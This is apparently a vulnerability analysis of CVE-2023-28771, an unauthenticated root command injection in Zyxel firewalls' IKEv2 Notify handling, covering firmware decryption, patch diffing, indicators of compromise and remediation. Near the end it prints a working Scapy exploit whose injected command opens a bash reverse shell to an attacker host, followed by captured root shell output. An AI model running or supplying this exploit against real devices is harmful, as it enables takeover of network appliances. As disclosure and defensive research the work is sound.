Description
Improper error message handling in Zyxel ZyWALL/USG series firmware versions 4.60 through 4.73, VPN series firmware versions 4.60 through 5.35, USG FLEX series firmware versions 4.60 through 5.35, and ATP series firmware versions 4.60 through 5.35, which could allow an unauthenticated attacker to execute some OS commands remotely by sending crafted packets to an affected device.
Technical Analysis
CVE-2023-28771 is an unauthenticated command injection vulnerability affecting the WAN interface of several Zyxel network devices, as reported by TRAPA Security. On March 31, 2023, Zyxel released a firmware update (version 5.36) that fixes the vulnerability. The Zyxel advisory reports the following affected products:
ATP (Firmware version 4.60 to 5.35 inclusive)rewalls)
USG FLEX (Firmware version 4.60 to 5.35 inclusive)
VPN (Firmware version 4.60 to 5.35 inclusive)
ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive)
CVE-2023-28771 was introduced into the firmware from version 4.60, which was released on October 21, 2020, more than two and a half years ago. The vulnerable component is the Internet Key Exchange (IKE) packet decoder, which forms part of the IPSec VPN service offered by the device. Note: A VPN does not need to be configured on the device for the device to be vulnerable --- an affected device is vulnerable in a default state. An attacker can send a specially crafted UDP packet to port 500 in the WAN interface and achieve unauthenticated command execution as the user.root
CVE-2023-28771 is not known to be exploited in the wild as of May 19, 2023, though we expect this to change. There are some 42,000 instances of Zyxel web interfaces exposed to the public internet. This does not, however, capture vulnerable VPN implementations, which means real exposure is likely much higher.
Extracting the Firmware
The device used during testing was a USG FLEX 100. The firmware can be found on the myzyxel.com portal. As we are targeting a USG FLEX 100 device, we downloaded the vulnerable firmware and the patched firmware.USG FLEX 100 5.35(ABUH.0).zip``USG FLEX 100 5.36(ABUH.0).zip
$ sha1sum USG\ FLEX\ 100\ 5.35\(ABUH.0\).zip
e337a3128cd15f2f9f491e970ec6eb3e576b2e22 USG FLEX 100 5.35(ABUH.0).zip
$ sha1sum USG\ FLEX\ 100\ 5.36\(ABUH.0\).zip
30174f76213fb7aebf2fe5b8b4a5085b17491a0b USG FLEX 100 5.36(ABUH.0).zip
As Zyxel ships their firmware encrypted, we can leverage a known plaintext attack to decrypt the firmware images, as detailed in this advisory from RedTeam Pentesting GmbH circa 2011.
$ unzip USG\ FLEX\ 100\ 5.35\(ABUH.0\).zip -d 5.35
Archive: USG FLEX 100 5.35(ABUH.0).zip
inflating: 5.35/535ABUH0C0.bin
inflating: 5.35/535ABUH0C0.conf
inflating: 5.35/535ABUH0C0.db
inflating: 5.35/535ABUH0C0.pdf
extracting: 5.35/535ABUH0C0.ri
inflating: 5.35/USG FLEX 100_V5.35(ABUH.0)C0-foss.pdf
$ unzip USG\ FLEX\ 100\ 5.36\(ABUH.0\).zip -d 5.36
Archive: USG FLEX 100 5.36(ABUH.0).zip
inflating: 5.36/536ABUH0C0.bin
inflating: 5.36/536ABUH0C0.conf
inflating: 5.36/536ABUH0C0.db
inflating: 5.36/536ABUH0C0.pdf
extracting: 5.36/536ABUH0C0.ri
inflating: 5.36/USG FLEX 100_V5.36(ABUH.0)C0-foss.pdf
$ ./pkcrack/bin/extract 5.35.conf.zip 5.35/535ABUH0C0.conf 5.35.535ABUH0C0.plaintext
$ ./pkcrack/bin/extract 5.36.conf.zip 5.36/536ABUH0C0.conf 5.36.536ABUH0C0.plaintext
$ ./pkcrack/bin/pkcrack -C 5.35/535ABUH0C0.bin -c db/etc/zyxel/ftp/conf/system-default.conf -p 5.35.535ABUH0C0.plaintext -d 5.35_decrypted.zip -a
Files read. Starting stage 1 on Tue May 16 15:17:44 2023
Generating 1st generation of possible key2_6690 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 948 values at offset 4643
Lowest number: 937 values at offset 4642
Lowest number: 911 values at offset 4633
Lowest number: 844 values at offset 4632
Lowest number: 749 values at offset 4630
Lowest number: 740 values at offset 4627
Lowest number: 723 values at offset 4624
Lowest number: 697 values at offset 4622
Lowest number: 671 values at offset 4618
Lowest number: 606 values at offset 4615
Lowest number: 604 values at offset 4592
Lowest number: 602 values at offset 4590
Lowest number: 586 values at offset 4589
Lowest number: 567 values at offset 4583
Lowest number: 554 values at offset 4582
Lowest number: 528 values at offset 4581
Lowest number: 525 values at offset 4579
Lowest number: 500 values at offset 4576
Done. Left with 500 possible Values. bestOffset is 4576.
Stage 1 completed. Starting stage 2 on Tue May 16 15:17:59 2023
Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5
Probabilistic test succeeded for 2119 bytes.
Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5
Probabilistic test succeeded for 2119 bytes.
Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5
Probabilistic test succeeded for 2119 bytes.
Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5
Probabilistic test succeeded for 2119 bytes.
Stage 2 completed. Starting zipdecrypt on Tue May 16 15:18:10 2023
Decrypting compress.img (07a187f5a1b0c46b72d42825)... OK!
...snip...
Decrypting wtpinfo (29eb840eb35536850efa9a2a)... OK!
Finished on Tue May 16 15:18:12 2023
$ ./pkcrack/bin/pkcrack -C 5.36/536ABUH0C0.bin -c db/etc/zyxel/ftp/conf/system-default.conf -p 5.36.536ABUH0C0.plaintext -d 5.36_decrypted.zip -a
Files read. Starting stage 1 on Tue May 16 15:18:44 2023
Generating 1st generation of possible key2_6690 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 985 values at offset 1464
Lowest number: 956 values at offset 1461
Lowest number: 941 values at offset 1457
Lowest number: 910 values at offset 1287
Lowest number: 902 values at offset 1264
Lowest number: 850 values at offset 1245
Lowest number: 832 values at offset 428
Lowest number: 830 values at offset 110
Lowest number: 817 values at offset 109
Lowest number: 769 values at offset 106
Lowest number: 751 values at offset 105
Lowest number: 737 values at offset 102
Lowest number: 733 values at offset 97
Lowest number: 710 values at offset 89
Lowest number: 707 values at offset 88
Lowest number: 706 values at offset 86
Lowest number: 692 values at offset 84
Done. Left with 692 possible Values. bestOffset is 84.
Stage 1 completed. Starting stage 2 on Tue May 16 15:19:00 2023
Ta-daaaaa! key0=bb8ef2f0, key1=a0d6b0a3, key2=26ba1350
Probabilistic test succeeded for 6611 bytes.
Ta-daaaaa! key0=bb8ef2f0, key1=a0d6b0a3, key2=26ba1350
Probabilistic test succeeded for 6611 bytes.
Ta-daaaaa! key0=bb8ef2f0, key1=a0d6b0a3, key2=26ba1350
Probabilistic test succeeded for 6611 bytes.
Stage 2 completed. Starting zipdecrypt on Tue May 16 15:19:07 2023
Decrypting compress.img (aadb082da8abcc4237738829)... OK!
...snip...
Decrypting wtpinfo (72b82f8253aed5eaaf24982e)... OK!
Finished on Tue May 16 15:19:08 2023
$ unzip 5.35_decrypted.zip -d 5.35_decrypted
$ unzip 5.36_decrypted.zip -d 5.36_decrypted
With the firmware successfully decrypted, the file can be extracted using a tool like 7zip
to retrieve the contents of the Linux-based file system.compress.img
Diffing the Bug
While there are many changes across numerous files between version 5.35 and 5.36, we identify the binary as being of interest. We can use IDA Pro and BinDiff to quickly see how an obvious command injection vulnerability has been removed from the vulnerable firmware version. A caller-supplied error message is being written to a log file by constructing a system command and executing this command via a call to to perform the write./sbin/sshipsecpm``system

Decompiling the function with Ghidra shows us the logic. The vulnerable function is a variadic function that takes a format string as its first parameter and zero or more variadic parameters. These construct the error message via the first call to . A second call to will create the system command that will write the error message to a log file . Finally a call to will execute the command.ssh_vsnprintf``ssh_vsnprintf``/tmp/sdwan_vpndebug.log``system
ssh_vsnprintf(error_message,0x2000,format_string_param1,&local_param2);
ssh_vsnprintf(command,0x2064,"echo \"[%02d/%02d %02d:%02d:%02d] vpn_info: %s\" >> %s",month + 1,day,hour,minute,second,error_message,"/tmp/sdwan_vpndebug.log");
res = system(command);
The patch removes this call in favor of writing the error message directly to the log file via a , , , sequence of calls.system``fopen``fputs``fflush``fclose
If attacker-controlled data is logged via this vulnerable function, the attacker may perform arbitrary command injection.
Reaching the Bug
While we can see where the vulnerability is, we need to identify how attacker-controlled data can be written to the log file's error message. After some reverse engineering, we identify the function , which itself is called by . The Internet Key Exchange (IKE) protocol is part of the IPSec protocol suite and allows two peers to establish a security association to aid secure communications. It communicates over UDP port 500.ikev2_decode_notify``ikev2_decode_packet
If we run netstat on a vulnerable device we can see that UDP port 500 is listening by default on the WAN interface (Bound to IP address 192.168.86.40 in the example below), and the process binds the socket.sshipsecpm
bash-5.1# netstat -lnp
netstat -lnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:11080 0.0.0.0:* LISTEN 13002/ttyd
tcp 0 0 127.0.0.1:2601 0.0.0.0:* LISTEN 10330/zebra
tcp 0 0 127.0.0.1:2602 0.0.0.0:* LISTEN 10334/ripd
tcp 0 0 127.0.0.1:2604 0.0.0.0:* LISTEN 10343/ospfd
tcp 0 0 127.0.0.1:10444 0.0.0.0:* LISTEN 3079/pro
tcp 0 0 127.0.0.1:2605 0.0.0.0:* LISTEN 10344/bgpd
tcp 0 0 0.0.0.0:2158 0.0.0.0:* LISTEN 2516/zyssod
tcp 0 0 127.0.0.1:50001 0.0.0.0:* LISTEN 10019/capwap_srv
tcp 0 0 0.0.0.0:179 0.0.0.0:* LISTEN 10344/bgpd
tcp 0 0 192.168.3.1:53 0.0.0.0:* LISTEN 13108/named
tcp 0 0 192.168.2.1:53 0.0.0.0:* LISTEN 13108/named
tcp 0 0 192.168.1.1:53 0.0.0.0:* LISTEN 13108/named
tcp 0 0 192.168.86.40:53 0.0.0.0:* LISTEN 13108/named
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 13108/named
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 12918/sshd_config [
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN 13108/named
tcp6 0 0 :::8008 :::* LISTEN 10880/httpd
tcp6 0 0 :::54088 :::* LISTEN 10880/httpd
tcp6 0 0 :::59465 :::* LISTEN 10880/httpd
tcp6 0 0 :::59466 :::* LISTEN 10880/httpd
tcp6 0 0 :::2158 :::* LISTEN 2516/zyssod
tcp6 0 0 :::80 :::* LISTEN 10880/httpd
tcp6 0 0 :::179 :::* LISTEN 10344/bgpd
tcp6 0 0 :::53 :::* LISTEN 13108/named
tcp6 0 0 :::21 :::* LISTEN 10743/proftpd: (acc
tcp6 0 0 :::22 :::* LISTEN 12918/sshd_config [
tcp6 0 0 :::443 :::* LISTEN 10880/httpd
udp 0 0 192.168.3.1:53 0.0.0.0:* 13108/named
udp 0 0 192.168.2.1:53 0.0.0.0:* 13108/named
udp 0 0 192.168.1.1:53 0.0.0.0:* 13108/named
udp 0 0 192.168.86.40:53 0.0.0.0:* 13108/named
udp 0 0 127.0.0.1:53 0.0.0.0:* 13108/named
udp 0 0 0.0.0.0:67 0.0.0.0:* 13221/dhcpd
udp 4480 0 0.0.0.0:68 0.0.0.0:* 12998/dhcpcd
udp 0 0 0.0.0.0:5246 0.0.0.0:* 10019/capwap_srv
udp 0 0 0.0.0.0:47290 0.0.0.0:* 13095/radiusd
udp 0 0 0.0.0.0:13701 0.0.0.0:* 12676/accountingd
udp 0 0 192.168.1.1:4500 0.0.0.0:* 5706/sshipsecpm
udp 0 0 192.168.86.40:4500 0.0.0.0:* 5706/sshipsecpm
udp 0 0 192.168.1.1:500 0.0.0.0:* 5706/sshipsecpm
udp 0 0 192.168.86.40:500 0.0.0.0:* 5706/sshipsecpm
udp 0 0 0.0.0.0:520 0.0.0.0:* 10334/ripd
udp 0 0 192.168.1.1:1701 0.0.0.0:* 5706/sshipsecpm
udp 0 0 192.168.86.40:1701 0.0.0.0:* 5706/sshipsecpm
udp 0 0 127.0.0.1:18121 0.0.0.0:* 13095/radiusd
udp 0 0 0.0.0.0:3799 0.0.0.0:* 13095/radiusd
udp 0 0 0.0.0.0:1812 0.0.0.0:* 13095/radiusd
udp 0 0 0.0.0.0:1813 0.0.0.0:* 13095/radiusd
udp6 0 0 :::53 :::* 13108/named
raw 0 0 0.0.0.0:1 0.0.0.0:* 7 13221/dhcpd
raw 0 0 0.0.0.0:89 0.0.0.0:* 7 10343/ospfd
Using a tool called ike-scan
we can confirm the WAN interface on the device is both receiving IKE messages and transmitting a response, as shown by the Notify message received below.
$ sudo ike-scan -M 192.168.86.40
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.86.40 Notify message 14 (NO-PROPOSAL-CHOSEN)
HDR=(CKY-R=08fa698fad4ea545, msgid=98cf95b1)
Ending ike-scan 1.9.5: 1 hosts scanned in 0.012 seconds (82.37 hosts/sec). 0 returned handshake; 1 returned notify
Knowing that the vulnerability can be reached during IKE packet decoding and that IKE messages received on the WAN interface are being processed, we can now begin to identify the IKE message that would trigger the vulnerability.
If we examine the function , we can see a call to during a switch statement whose switch condition is based upon the payload type. The debug logging statements in the decompilation gives us a useful hint to the operations being performed and the purpose of some of the variables. Reading RFC4306, which defines the , we can see that a payload type of 41 (0x29) is for a payload. This corresponds to the naming convention of the vulnerable function we have identified, . So it appears the vulnerability lies in the decoding of an IKEv2 Notify payload.ikev2_decode_packet``ikev2_decode_notify``Internet Key Exchange (IKEv2) Protocol``Notify``ikev2_decode_notify
if ((lVar4 != 0) && (lVar4 = maybe_should_log_this("SshIkev2PacketDecode",0x6e), lVar4 != 0)) {
uVar5 = ssh_dvsprintf("Payload of type %d",payload_type); // <-----
ssh_debug_output(0x6e,"ikev2-packet-decode.c",0x3c7,"SshIkev2PacketDecode",
"ikev2_decode_packet",uVar5);
FUN_1028a278(0,local_c4,uVar9);
}
local_c4 = local_c4 + 4;
iVar8 = uVar9 - 4;
lVar4 = maybe_should_log_this("SshIkev2PacketDecode",10);
if (lVar4 != 0) {
uVar7 = ssh_dvsprintf("switch by %d",payload_type);
uVar5 = ssh_dvsprintf("[%p/%p] %s",local_20,*(undefined4 *)(local_20 + 0x19c),uVar7);
ssh_debug_output(10,"ikev2-packet-decode.c",0x3cd,"SshIkev2PacketDecode","ikev2_decode_packet"
,uVar5);
maybe_log_console(uVar7,"ikev2-packet-decode.c",0x3cd);
}
switch(payload_type) { // <-----
case 0x21:
local_d0 = FUN_10283ab0(local_20,local_c4,iVar8);
break;
case 0x22:
local_d0 = FUN_10284ec4(local_20,local_c4,iVar8);
break;
case 0x23:
local_d0 = FUN_10285bc8(local_20,local_c4,iVar8);
break;
case 0x24:
local_d0 = FUN_10285d0c(local_20,local_c4,iVar8);
break;
case 0x25:
local_d0 = FUN_10285e54(local_20,local_c4,iVar8);
break;
case 0x26:
local_d0 = FUN_10286410(local_20,local_c4,iVar8);
break;
case 0x27:
local_d0 = FUN_102866c4(local_20,local_c4,iVar8);
break;
case 0x28:
local_d0 = FUN_10286bd0(local_20,local_c4,iVar8);
break;
case 0x29: // <-----
local_d0 = ikev2_decode_notify(local_20,(uint)((ulonglong)((longlong)piVar3[8] << 0x2c) >>
0x3f) << 0x13,local_c4,iVar8);
break;
Decompiling , we can see a call to the vulnerable log function that contains the command injection vulnerability we identified, called , in the decompilation below.ikev2_decode_notify``vulnerable_log_function
if (puVar5[1] == 14) { // <----- NO_PROPOSAL_CHOSEN
memcpy(acStack_58,(void *)puVar5[6],puVar5[5]);
do-something_with_des_cbc(acStack_58,0x30,0);// <----- decrypt the first 48 bytes, leave the remaining bytes unmodified
vulnerable_log_function("[cgnat] 4th sdwan_decode: %s",acStack_58); // <----- contains attacker controlled data
lVar2 = FUN_100e0ccc(piVar1 + 0x4a,piVar1 + 0x50,acStack_58);
if (lVar2 == 0) {
FUN_1028de40(0xd,0xc,*piVar1 + 8,piVar1 + 1,0,0,0,0,"Get a wrong cgnat information")
;
vulnerable_log_function("[cgnat] 4th cgnat convert wrong");
}
Of note is the comparison against the number 14 (0x0E). This number corresponds to the IKEv2 Notify payload message-type for . A data value from the payload appears to be decoded using DES-CBC and the decoded value is then logged via the vulnerable log function. Further inspection of RFC4306 shows that a Notify payload has a message-type-specific data blob appended to the end of the payload. It appears this is the value being decoded and logged.if``NO_PROPOSAL_CHOSEN
After some debugging we observe the following: An IKEv2 Notify message with a message-type of will reach the vulnerable code path. The notification data value from the Notify payload will be copied to a local variable via a call to . The first 48 (0x30) bytes are decrypted using the DES algorithm; however, the remaining bytes after the first 48 bytes are left unmodified. The entire string is then logged to via the vulnerable log function.NO_PROPOSAL_CHOSEN``memcpy``/tmp/sdwan_vpndebug.log
Therefore, an attacker can provide arbitrary commands in the Notification Data field of a Notify payload whose message-type is , and achieve arbitrary command execution as the user .NO_PROPOSAL_CHOSEN``root
Exploiting CVE-2023-28771
The following Scapy script in Python will trigger the vulnerability and achieve a reverse root shell.
#!/usr/bin/python3
import sys
from scapy.all import *
load_contrib('ikev2')
cmd = "\";bash -c \"exec bash -i &>/dev/tcp/" + sys.argv[2] + "/" + sys.argv[3] + " <&1;\";echo -n \""
packet = IP(dst = sys.argv[1]) / UDP(dport = 500) / IKEv2(init_SPI = RandString(8), next_payload = 'Notify', exch_type = 'IKE_SA_INIT', flags='Initiator') / IKEv2_payload_Notify(next_payload = 'Nonce', type = 14, load = "HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB" + cmd) / IKEv2_payload_Nonce(next_payload = 'None', load = RandString(68))
send(packet)
We can confirm a device is vulnerable as follows:
$ sudo python3 CVE-2023-28771.py 192.168.86.40 192.168.86.34 4444
.
Sent 1 packets.
$
A Netcat listener can be used to pick up the shell.
$ ncat -lnp 4444
bash: cannot set terminal process group (5405): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1# id
id
uid=0(root) gid=0(root) groups=0(root)
bash-5.1# uname -a
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Jan 4 18:13:49 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
bash-5.1#
Indicators of Compromise
A potential indicator of compromise would be the following entry in the file :/tmp/sdwan_vpndebug.log
[05/19 17:38:14] vpn_info: [cgnat] 4th cgnat convert wrong
This message will be written after a call to the vulnerable log function. It does not definitively indicate that exploitation has occurred, however --- rather, it indicates that a packet was processed that reached the vulnerable code path.
Mitigation Guidance
To successfully remediate CVE-2023-28771, apply the latest firmware update for the affected Zyxel devices as soon as possible. Fixed versions are as follows:
ATP -- Firmware version 5.36
USG FLEX -- Firmware version 5.36
VPN -- Firmware version 5.36
ZyWALL/USG -- Firmware version 4.73 Patch 1